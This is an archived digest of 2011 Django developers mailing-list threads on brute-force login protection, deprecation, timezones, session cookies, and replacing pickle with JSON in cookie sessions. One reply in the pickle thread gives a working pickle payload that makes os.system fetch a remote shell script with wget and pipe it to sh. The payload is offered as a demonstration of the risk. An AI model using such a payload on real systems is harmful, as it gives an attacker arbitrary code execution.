Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha

2011-10-02 Thread Paul McMillan
My sense is that you're conflating 2 kinds of protection here because
you haven't made a decision. Do you want to propose rate limiting, or
a captcha? Answers to your points depend on that.

Prior to more specific work on this matter (and before anything can be
included in core), we need to address the issues in 16860. The generic
groundwork must be done first. It would be helpful to examine this
proposal in light of those concerns. What hooks does Django need to
provide to allow this to be implemented cleanly as a third-party
installable?

This needs to be pluggable because (no matter what we include), it
won't meet the requirements for a sizable subset of Django's users
(many of whom have very explicit requirements).

> Points 1-3
Our protection should be on by default if we include it in Django at
all. This means that the default configuration will be universal
enough that it doesn't get in the way for most installations.

> 4. After x failed login attempts, protection kicks in. x is a
> configurable amount of times, which by default is 3?

3 is too few for a default on a general user-facing site. Brute force
attempts try hundreds of passwords. If normal users see this
protection with any regularity, people will turn it off.

> 5. Failed logins are either stored in a database (which works well for
> small systems and protects against slow distributed attacks), or in
> memory (for large systems). Default: use the database? Because most
> users operate on small systems?

Probably the database. An extra column on users would be the most
obvious place, but it's a no-go because we don't have migrations and
this functionality should be separately pluggable anyway. We would
need to ship with a default set to off in the base settings file, and
explicitly set it on for new projects. If it adds database columns,
that might be an argument for shipping with it disabled.

> 6. We protect against the following scenarios:
>    a. Login attempts coming from many IP-addresses and targeting a
> single user account;
>    b. From a single IP-address, targeting a single user;
>    c. Single IP-address, more than one user.
>    Case 6a and - in a lesser extent - 6b are strong indicators for a
> brute force attack. Case 6c might be brute force, but might also be
> triggered by many users behind a proxy.

These are all attack vectors. There's also multiple IP multiple
account slow brute force, and many other variations. Any of these
options is going to need to be quite configurable to work for most
Django users.

> 7. Protection may consist of:
>    a. denying access for x minutes for a given user or IP-address. x
> is configurable, and by default: 5 minutes?
Rate limiting is more user friendly than a hard cutoff like this. The
hard cutoff is easier to explain to a user, though. This allows a DoS
attack against specific users.

>    b. adding a sleeptime to login requests (mentioned several times,
> but sounds very weak to me, because it can be easily passed by opening
> a new connection?).
Absolutely no. Adding sleep() anywhere in Django opens nasty DoS
avenues. Sleep ties up workers for no reason.

>    c. logging it, and/or notifying the admin
>    d. adding a captcha to login form
Which captcha do you propose? Is there a good one which does not add
external dependencies? We can't require compiled dependencies like PIL
out of the box.

> 8. Protection should be configurable as well. By default: use a
> captcha? Using a captcha prevents an attacker from using the denial
> trigger for a DoS-attack.
Captchas do that. They also introduce usability issues. Do you have a
pure-python captcha which is also ADA compliant? How do you recommend
we balance the difficulty (for both humans and robots) of the captcha?

> 9. Rate limitors should be generably applicable, to all views.
Yes. This is why they are probably best viewed as a separate feature.

> 10. Final question:
> Should this be in Django contrib? I argue in favor, in order to
> protect the innocent and keep everyone safe.
I agree that Django should ship some form of login protection.

>  django.contrib.security
> seems a proper place to me.
For rate limiting or captcha? The former might belong in
core.ratelimit. The captcha is probably a pluggable related to
contrib.auth.

> There are several rate-limiting
> implementations in the wild, but unfortunately they are not often
> used. For example, compare the numbers on django-packages for django-
> axes, brutebuster and ratelimitcache against a commonly used
> application like south or django-debug-toolbar.

Yep. This is why we do need to ship something with Django. But we need
to be sure that we ship a careful, complete implementation, because
once we make a decision about the interface, we have to support it for
a long time. This is why many parts of contrib started as external
projects and stayed that way until there were clear winners.

If we can build the hooks that make it easy to build this kind of
functionality, we can g

Re: deprecation vs removal

2011-10-02 Thread Ryan McIntosh
As someone maintaining some very old django sites with hacks to the core, 
deprecation warnings are very useful to me.  I know I'm not alone.  There is no 
reason to not flag deprecated methods/functions/routines/etc prior to removal.

If you're being nagged by deprecation warnings than... well... That's the point!

The annotation "Will be deprecated" is also useful.  

Change requires care, IMHO.

Many hackers on this list continually work on the latest version.  Many don't.

peace,

Ryan McIntosh
Software Architect
PeaceWorks Technology Solutions
ph: (204) 480-0314
cell: (204) 770-3682
r...@peaceworks.ca

- Original Message -
From: "Alexander Schepanovski" 
To: "Django developers" 
Sent: Sunday, October 2, 2011 12:48:38 AM GMT -06:00 US/Canada Central
Subject: Re: deprecation vs removal

> It allows you the luxury of taking the time,
> and encourages you to upgrade even if you don't have time to make
> application changes.

It doesn't really saves time for me. But maybe I'm an uncommon case.
Some of things I do with django are pretty tied up to its internals.

But even a common user, who himself doesn't hack into django may use
third-party libs that do: migration, automatic caching, any orm, form
and template extenders. And for the developers of that libs
deprecation is a waste not help, at least what it feels for me. For
common user this means he cannot upgrade until all hos libs upgraded
or he himself is forced into hacking them.

So dropping deprecation could be a strategic win in a sense it will
help django infrastructure flourish. At least this is worth
considering.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Florian Apolloner
Hi Paul,

the initial patch indeed used JSON to dump the data, but while probably 
beeing more secure it had some drawbacks which do need consideration: The 
JSON backend didn't allow serialization of  arbitrary data, as such it was 
different to all the other backends which do allow it -- which means this 
backend isn't a dropin replacement. Since Django only supports one 
SESSION_ENGINE this might cause problems to some people, although I do think 
if your session stores more than let's say some ids and messages you are 
probably doing it wrong after all (At least in the lieu of cookie based 
session).

So either way, if we change it we need some notes in the documentation 
saying that this backend isn't compatible with the other backends… 

Cheers,
Florian

P.S.: Btw, if you leak your secret key, you can get an admin user with a 
json backend too, while not being remote code execution it's still something 
I would consider as catastrophic as code execution in most of my projects. 
Oh and I know I am moving to thin ice now, but I'd still like to know: To my 
understanding pickle doesn't necessarily allow arbitrary code execution, I 
mean you can't stuff code into it, you can just control how and which 
objects are loaded into the session -- which can be worse enough depending 
on how those objects are used later on. Please correct me if I am wrong 
here, I am not trying to argue that pickle would be save to use, but would 
like to understand how such an attack would look like -- so I would 
appreciate if you could give a more or less concrete example

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To view this discussion on the web visit 
https://groups.google.com/d/msg/django-developers/-/jxZ9pPehuNoJ.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Paul McMillan
We do actually already have compression in the code for JSON[1].
Unfortunately, we probably can't enable it by default since it has a
dependency on zlib. Looking at the code, it appears that we don't
compress the pickled cookie, which means that compressed JSON might
actually be more space efficient than our current implementation
(which could be compressed, but is not).

The other downside to JSON is that you can't serialize native Python
objects into a session, but you probably shouldn't be doing that
anyway.

-Paul

[1] 
https://code.djangoproject.com/browser/django/trunk/django/core/signing.py#L102

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: deprecation vs removal

2011-10-02 Thread Łukasz Rekucki
2011/10/2 Alexander Schepanovski :> Then when I
upgrade django I'll just upgrade it and fix> any wrong calls, imports,
monkey patches etc. Proper upgrading docs,> which you write anyway,
will make it into a couple of days. The way it> is done now still
requires that two days but also make me think about> separate
deprecation concept, about what part of django is public and> what is
not cause they have separate deprecation policies. It also> encourages
me to sl
I prefer to just run my test suite with warnings enabled and see where
deprecated functions pop-up. The best part is that *I* choose when to
spend time on getting rid of them and I don't have to do it all at
once. I do this even with my own codebase.


On 2 October 2011 07:48, Alexander Schepanovski  wrote:
> But even a common user, who himself doesn't hack into django may use
> third-party libs that do: migration, automatic caching, any orm, form
> and template extenders. And for the developers of that libs
> deprecation is a waste not help, at least what it feels for me. For
> common user this means he cannot upgrade until all hos libs upgraded
> or he himself is forced into hacking them.
>

IMHO, it's exactly the opposite. If you remove the code right away,
then I can't upgrade to the new version of Django, 'cause I have to
wait for my 30 dependencies to upgrade or hack it my own.

---

As for the naming, it's probably because i'm not a native speaker, but
I always found the warning names logical. "PendingDeprecationWarning"
warns you about something, that will be deprecated in the version.
"DeprecationWarning" warns you that something *is* deprecated (as in
old and useless), so it *may* be removed in any future version.

Whether it is actually removed is another thing - Python itself has a
long tradition of leaving some C API functions deprecated for
indefinite period of time. So, to me, deprecation is the state right
before removal. I would stay with "X will be deprecated in Django Y.Z"
wording (which implies it may be removed in any (Y+m).(Z+1+n) n,m>=0
version).

-- 
Łukasz Rekucki

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Alec Taylor
Remove the pickle from the cookie jar!

Only cookies are meant to be there :P

On Sun, Oct 2, 2011 at 3:26 PM, Paul McMillan  wrote:
> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On receipt of the cookie, we check the signature,
> unpickle, and use the data. We could use JSON instead of pickle, at
> the expense of longer cookies.
>
> I believe that our signing implementation is secure and correct.
>
> However, I know that users of Django screw up from time to time. It's
> not uncommon to see SECRET_KEY in a git repository, and that value is
> often used in production. If SECRET_KEY is compromised, an attacker
> can sign arbitrary cookie data. The use of pickle changes an attack
> from "screw up the data in this application" to "arbitrary remote code
> execution".
>
> In light of this, we should be conservative and use JSON by
> default instead of pickle.
>
> -Paul
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Paul McMillan
> JSON backend didn't allow serialization of  arbitrary data, as such it was
> different to all the other backends which do allow it -- which means this
> backend isn't a dropin replacement.

Yeah, I agree. The cookie-based backend is already a bit "special", since it
is functionally limited to around 4k.

> P.S.: Btw, if you leak your secret key, you can get an admin user with a
> json backend too, while not being remote code execution it's still
something
> I would consider as catastrophic as code execution in most of my projects.

No. It's far less catastrophic. It just means I'm a Django admin and can
trash that project (which you can then restore from the backups). I can't
own all your other Django projects on the same machine, steal your deploy
keys, root your server, and then configure it to attack your dev machine
when you SSH into it to see why weird things are happening. Remote code
execution is BAD.

> Oh and I know I am moving to thin ice now, but I'd still like to know: To
my
> understanding pickle doesn't necessarily allow arbitrary code execution, I

> like to understand how such an attack would look like -- so I would
> appreciate if you could give a more or less concrete example

I should not have skipped that demo during my Djangocon talk. Since you
asked nicely... try this:

data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
import pickle; pickle.loads(data)

And then open a new bash window.

Obviously that payload could be a whole lot more malicious. A rootkit and a
reverse shell would be traditional. As I said in the talk, pickle == eval.
Don't use pickle where you wouldn't use eval.

You can look at how the pickle works by running:
import pickletools; print pickletools.dis(data)

Hopefully that example was more or less concrete enough for you. ;)

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Check-in #4 / Multiple timezone support for datetime representation

2011-10-02 Thread Aymeric Augustin
Hello,

This week, I've finished the work on serialization by making the deserializers 
capable of handling UTC offsets. I had to rewrite DateTimeField.to_python to 
extract and interpret timezone offsets. Still, deserialization of aware 
datetimes doesn't work with PyYAML: http://pyyaml.org/ticket/202

I also implemented the storage and retrieval of aware datetime objects in 
PostgreSQL, MySQL and Oracle. Conversions happen:
- on storage, in `connection.ops.value_to_db_datetime`, called from 
`get_db_prep_value`;
- on retrieval, in the database adapter's conversion functions.
The code is rather straightforward. When USE_TZ is True, naive datetimes are 
interpreted as local time in TIME_ZONE, for backwards compatibility with 
existing applications.

SQLite is more tricky because it uses 
`django.db.backends.util.typecast_timestamp` to convert string to datetimes. 
However:
- this function is used elsewhere of Django, in combination with the 
`needs_datetime_string_cast` flag. 
- it performs essentially the same operations as 
`DateTimeField.to_python`.
I'll review the history of this code, and I'll try to refactor it.

Besides adding support for SQLite, I still have to:
- check that datetimes behave correctly when they're used as query 
arguments, in aggregation functions, etc.
- optimize django.utils.tzinfo: fix #16899, use pytz.utc as the UTC 
timezone class when pytz is available, etc.

I won't have much time for this project next week. See you in two weeks for the 
next check-in!

Best regards,

-- 
Aymeric Augustin.

On 24 sept. 2011, at 15:24, Aymeric Augustin wrote:

> Hello,
> 
> This week, I've been working on a related topic that I had missed entirely in 
> my initial proposal: serialization.
> 
> Developers will obtain aware datetimes from Django when USE_TZ = True. We 
> must ensure that they serialize correctly.
> 
> Currently, the serialization code isn't very consistent with datetimes:
>   - JSON: the serializer uses the '%Y-%m-%d %H:%M:%S' format, losing 
> microseconds and timezone information. This dates back to the initial commit 
> at r3237. See also #10201.
>   - XML: the serializer delegates to DateTimeField.value_to_string, who 
> also uses the '%Y-%m-%d %H:%M:%S' format.
>   - YAML: the serializer handles datetimes natively, and it includes 
> microseconds and UTC offset in the output.
> 
> I've hesitated between converting datetimes to UTC or rendering them as-is 
> with an UTC offset. The former would be more consistent with the database and 
> it's recommended in YAML. But the latter avoids modifying the data: not only 
> is it faster, but it's also more predictable. Serialization isn't just about 
> storing the data for further retrieval, it can be used to print arbitrary 
> data in a different format. Finally, when the data comes straight from the 
> database (the common case), it will be in UTC anyway.
> 
> Eventually, I've decided to serialize aware datetimes without conversion. The 
> implementation is here:
> https://bitbucket.org/aaugustin/django/compare/..django/django
> 
> Here are the new serialization formats for datetimes:
>   - JSON: as described in the specification at 
> http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf > 
> 15.9.1.15 Date Time String Format.
>   - XML: as produced by datetime.isoformat(), ISO8601.
>   - YAML: unchanged, compatible with http://yaml.org/type/timestamp.html 
> — the canonical representation uses 'T' as separator and is in UTC, but it's 
> also acceptable to use a space and include an offset like pyyaml does.
> These formats follow the best practices described in 
> http://www.w3.org/TR/NOTE-datetime.
> 
> This fix is backwards-incompatible for the JSON and XML serializers: it 
> includes fractional seconds and timezone information, and it uses the 
> normalized separator, 'T', between the date and time parts. However, I've 
> made sure that existing fixtures will load properly with the new code. I'll 
> mention all this in the release notes.
> 
> Unrelatedly, I have switched the SQLite backend to supports_timezones = 
> False, because it really doesn't make sense to write the UTC offset but 
> ignore it when reading back the data.
> 
> Best regards,
> 
> -- 
> Aymeric Augustin.
> 
> On 17 sept. 2011, at 09:59, Aymeric Augustin wrote:
> 
>> Hello,
>> 
>> This week, I've gathered all the information I need about how the database 
>> engines and adapters supported by Django handle datetime objects. I'm 
>> attaching my findings.
>> 
>> The good news is that the database representations currently used by Django 
>> are already optimal for my proposal. I'll store data in UTC:
>> - with an explicit timezone on PostgreSQL,
>> - without timezone on SQLite and MySQL because the database engine doesn't 
>> support it,
>> - without timezone on Oracle because the database adapter doesn't support it.
>> 
>> 
>> Currently, Django sets the "supports_time

Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Jannis Leidel

On 02.10.2011, at 06:26, Paul McMillan wrote:

> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On receipt of the cookie, we check the signature,
> unpickle, and use the data. We could use JSON instead of pickle, at
> the expense of longer cookies.
> 
> I believe that our signing implementation is secure and correct.
> 
> However, I know that users of Django screw up from time to time. It's
> not uncommon to see SECRET_KEY in a git repository, and that value is
> often used in production. If SECRET_KEY is compromised, an attacker
> can sign arbitrary cookie data. The use of pickle changes an attack
> from "screw up the data in this application" to "arbitrary remote code
> execution".
> 
> In light of this, we should be conservative and use JSON by
> default instead of pickle.

You may be right about users screwing things up once in a while but
that's entirely unrelated to the fact that the sessions app expects
every backend to handle any (read: pickle-able) data you hand it. At
least that's the status quo on how every session backend I've seen
works.

That's why we haven't used the JSON encoder but instead opted to a
pickled encoder in the session backend, which was already a deviation
in the related signed cookies code which does indeed use JSON. 

So, long story short, I don't think you made a convincing argument
to me in proposing to ship a non-conforming session backend. Hence
I propose to instead promote the section about SECRET_KEY in the
session docs to a "big fat warning" and let the users decide how and
when they use it.

Jannis

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Florian Apolloner
Hi,

On Sunday, October 2, 2011 2:31:19 PM UTC+2, Paul McMillan wrote:
>
> > P.S.: Btw, if you leak your secret key, you can get an admin user with a
> > json backend too, while not being remote code execution it's still 
> something
> > I would consider as catastrophic as code execution in most of my 
> projects.
>
> No. It's far less catastrophic. It just means I'm a Django admin and can 
> trash that project (which you can then restore from the backups). I can't 
> own all your other Django projects on the same machine, steal your deploy 
> keys, root your server, and then configure it to attack your dev machine 
> when you SSH into it to see why weird things are happening. Remote code 
> execution is BAD.
>

Okay even if you disagree, I consider both catastrophic (For me there is no 
such thing as less catastrophic -- heads would roll in either case).
 

> data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | 
> sh'\ntR.'"
> import pickle; pickle.loads(data)
>
> And then open a new bash window. 
>

Wow, I have to read up on pickle again, thanks for the great example -- 
though my "paranoia" forced me to try it without "|sh" no matter how 
trustworthy you are ;)

Thanks again for the explanation.

Cheers,
Florian

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To view this discussion on the web visit 
https://groups.google.com/d/msg/django-developers/-/nfg07OnF898J.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Wrong JOIN with nested FKs

2011-10-02 Thread Sebastian Goll
Hello,

I'm afraid I'll have to reply to my own message because nobody else did. ;) 
Please read on. Also, please note that the original report is now over five 
weeks old, with no real solution yet in sight.


On Thu, 29 Sep 2011 21:52:23 +0200
Sebastian Goll  wrote:

> I'd like to draw your attention to ticket #16715:
> 
>   "Wrong JOIN with nested null-able foreign keys"
>   https://code.djangoproject.com/ticket/16715

I think this is a serious bug which should be further investigated. There is 
the possibility that also other queries do not work as expected, when multiple 
models with (null-able) foreign keys are involved.

Can somebody please tell me if the latest test I supplied is valid 
("nested-foreign-key-test-r16914.patch")? I'd like to get the confirmation that 
this is indeed a bug and not somehow intended behavior.


If this is indeed a bug, what would be the best way to fix it? Unfortunately, 
I'm not fluent in the internals of the Django query generator, so at least some 
help is required here.

In fact, any help in resolving this issue is greatly appreciated.


For a summary, please see my original post to this list (in case you didn't 
receive it):

  "Wrong JOIN with nested FKs"
  http://groups.google.com/group/django-developers/msg/4c5dcff7beaf06d9

Sebastian.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Session cookies set to HttpOnly in 1.4

2011-10-02 Thread Paul McMillan
I recently opened #16847, which proposes to set the HttpOnly property
to True on session cookies by default in 1.4. I'm pretty sure this is
the right approach, but I'd like a bit more feedback from the dev list
here before I go ahead and do it. Are people running applications that
would be broken by this change?

-Paul

https://code.djangoproject.com/ticket/16847

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Paul McMillan
> You may be right about users screwing things up once in a while but
> that's entirely unrelated to the fact that the sessions app expects
> every backend to handle any (read: pickle-able) data you hand it. At
> least that's the status quo on how every session backend I've seen
> works.

Yeah. Dropping pickle would be a pretty major departure from the way
the other session backends work. This backend already has several
other properties that make it uniquely different:
- ~4k character limit
- limited enforcement of session destruction
- transparency of session contents
I wasn't sure if changing the "pickleable" feature might be an
acceptable tradeoff.

> So, long story short, I don't think you made a convincing argument
> to me in proposing to ship a non-conforming session backend. Hence
> I propose to instead promote the section about SECRET_KEY in the
> session docs to a "big fat warning" and let the users decide how and
> when they use it.

That would be a good option.

I need to apologize (particularly to Jannis who worked really hard to
get this feature into core) that my original message sounded like
nobody thought about this before they implemented it. It was discussed
(and documented as part of the signing code).

My primary concern here is the expanded reliance on SECRET_KEY for
security. As a general principle, the less we rely on it directly for
our security, the better. We currently use SECRET_KEY on a limited
basis internally:
- salt for random token generation
- signing messages and sessions stored on disk
- signing intermediate data in formtools
- the signing framework (not used much internally yet) and salted_hmac
- these cookies (which use the signing framework)

As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



RE: Removing pickle from cookie-based session storage

2011-10-02 Thread Kääriäinen Anssi
"""
As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.
"""

Isn't there also the possibility that the attacker can somehow get arbitrary 
data signed into the session cookie without knowing SECRET_KEY? This could be 
due to a bug in the session framework or the developer does something really 
stupid. If this would be the case, then the bug would result in remote code 
execution exploit instead of the user being able to manipulate his session. 
Which sounds kinda scary.

If this is not changed to use JSON, there must be a warning that if the 
attacker can somehow change the contents of the cookie while keeping it signed, 
this results in remote exploit. One such way is knowing the SECRET_KEY.

My feeling is that this should be changed.

 - Anssi

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



RE: Removing pickle from cookie-based session storage

2011-10-02 Thread Kääriäinen Anssi
Forgetaboutit, the exact same problem is there for every session backend. This 
btw means that having write access to django_session table means exploit of all 
Django instances using that DB, right?

"""
Isn't there also the possibility that the attacker can somehow get arbitrary 
data signed into the session cookie without knowing SECRET_KEY? This could be 
due to a bug in the session framework or the developer does something really 
stupid. If this would be the case, then the bug would result in remote code 
execution exploit instead of the user being able to manipulate his session. 
Which sounds kinda scary.

If this is not changed to use JSON, there must be a warning that if the 
attacker can somehow change the contents of the cookie while keeping it signed, 
this results in remote exploit. One such way is knowing the SECRET_KEY.

My feeling is that this should be changed.

 - Anssi
"""

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Paul McMillan
As I said before, the existing implementation is secure, if the
SECRET_KEY is kept secret. The sky is not falling, don't panic.

> Isn't there also the possibility that the attacker can somehow get arbitrary 
> data signed into the session cookie without knowing SECRET_KEY?

That's not a viable attack route. It's much less likely than a
developer exposing their SECRET_KEY. The signing process for the
cookie pickles the data passed in, and it's not possible to create a
malicious pickle by passing arbitrary data into the pickle function.
It's only possible if the data can be modified after it has been
pickled, which the signing explicitly prevents.
> Forgetaboutit, the exact same problem is there for every session backend. 
> This btw means that having write access to django_session table means exploit 
> of all Django instances using that DB, right?

No, the same problem is not there for every session backend. The ones
which are written to disk are signed in the same fashion. It is
assumed that if an attacker has raw write access to your database, you
have much bigger problems (especially since many databases directly
allow system-level code execution in some form or another). I've
looked at that code extensively, it's fine.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



RE: Removing pickle from cookie-based session storage

2011-10-02 Thread Kääriäinen Anssi
Ok, sorry for the uninformed rambling... Will check the code before posting 
next time :)

 - Anssi

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Patch for using custom managers in a reverse relation. (#3871)

2011-10-02 Thread Vivek Narayanan
Hi,

I've added a patch that provides functionality for selecting a custom
manager in a reverse relation , rather than the default manager. For
example:

 author = Author.objects.get(id=1)
 # Selects the manager 'foobar' of Post.
 mgr = author.post_set.managers("foobar")

https://code.djangoproject.com/ticket/3871

Would be great if someone could review it.

Vivek

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.



Re: Removing pickle from cookie-based session storage

2011-10-02 Thread Daniel Swarbrick


On Oct 2, 2:31 pm, Paul McMillan  wrote:
> data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
> import pickle; pickle.loads(data)
>

Some workarounds for Pickle's execution of arbitrary code are proposed
here http://nadiana.com/python-pickle-insecure

Also note one of the comments on that post points out that JSON
converts all strings to unicode, and therefore cannot accurately
restore byte-strings.

I'd have to check through some of my own apps, but I suspect there may
be users who are storing complex Python objects in sessions, whose
code would break if Pickle was dropped.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.